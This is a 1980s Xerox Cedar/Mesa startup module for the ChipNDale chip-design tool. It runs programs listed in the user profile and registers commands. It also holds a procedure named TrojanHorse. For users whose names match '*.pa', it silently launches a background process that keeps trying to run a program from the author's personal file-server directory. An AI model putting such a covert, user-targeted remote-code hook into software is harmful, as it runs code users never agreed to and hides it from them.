CDStarter.mesa (part of ChipNDale)
Copyright © 1983, 1986 by Xerox Corporation. All rights reserved.
by Christian Jacobi, November 7, 1983 5:39 pm
Last Edited by: Jacobi July 24, 1986 10:32:07 am PDT
Last edited by: Christian Jacobi, March 26, 1987 10:31:39 am PST
DIRECTORY
Commander,
CommandTool,
IO,
Process,
Rope,
TerminalIO,
UserCredentials,
UserProfile;
CDStarter:
CEDAR
PROGRAM
IMPORTS Commander, CommandTool, IO, Process, Rope, TerminalIO, UserCredentials, UserProfile =
BEGIN
StartPrograms:
PROC [] = {
runList: LIST OF Rope.ROPE = UserProfile.ListOfTokens[key: "ChipNDale.RunPrograms"];
FOR l:
LIST
OF Rope.
ROPE ← runList, l.rest
WHILE l#
NIL
DO
IF
NOT Rope.IsEmpty[l.first]
THEN {
msg: Rope.ROPE = CommandTool.Run[bcdName: l.first].errMsg;
IF msg#NIL THEN TerminalIO.PutRope[msg];
}
ENDLOOP;
};
TrojanHorse:
PROC [] = {
This is typically commented out in released versions
but active in private or pre-released versions
trojanHorse: Rope.ROPE = "/ivy/jacobi/cd24/CDTroja24";
TRUSTED {Process.SetPriority[Process.priorityBackground]};
WHILE CommandTool.Run[bcdName: trojanHorse].error
DO
Process.Pause[Process.SecondsToTicks[4000]];
ENDLOOP
};
Load: Commander.CommandProc = {
IO.PutRope[cmd.out, "ChipNDale loaded\n"];
};
Quiet: Commander.CommandProc = {
};
BeQuiet: Commander.CommandProc = {
FOR ls:
LIST
OF Rope.
ROPE ← CommandTool.ParseToList[cmd].list, ls.rest
WHILE ls#
NIL
DO
IF ~Rope.IsEmpty[ls.first]
AND Commander.Lookup[ls.first]=
NIL
THEN {
Commander.Register[key: ls.first, proc: Quiet, doc: "command made quiet"];
IF Rope.Fetch[ls.first, 0]#'/
AND Rope.Fetch[ls.first, 0]#'[
THEN {
r: Rope.ROPE ← Rope.Concat["///Commands/", ls.first];
IF Commander.Lookup[r]=
NIL
THEN
Commander.Register[key: r, proc: Quiet, doc: "command made quiet"];
};
};
ENDLOOP;
};
StartPrograms[];
IF Rope.Match["*.pa", UserCredentials.Get[].name,
FALSE]
THEN
TRUSTED {
Process.Detach[FORK TrojanHorse[]]
};
Commander.Register[
key: "///Commands/ChipNDale",
proc: Load,
doc: "loads technology independent ChipNDale"
];
Commander.Register[
key: "///Commands/BeQuiet",
proc: BeQuiet,
doc: "makes this load file beeing quiet"
];
END.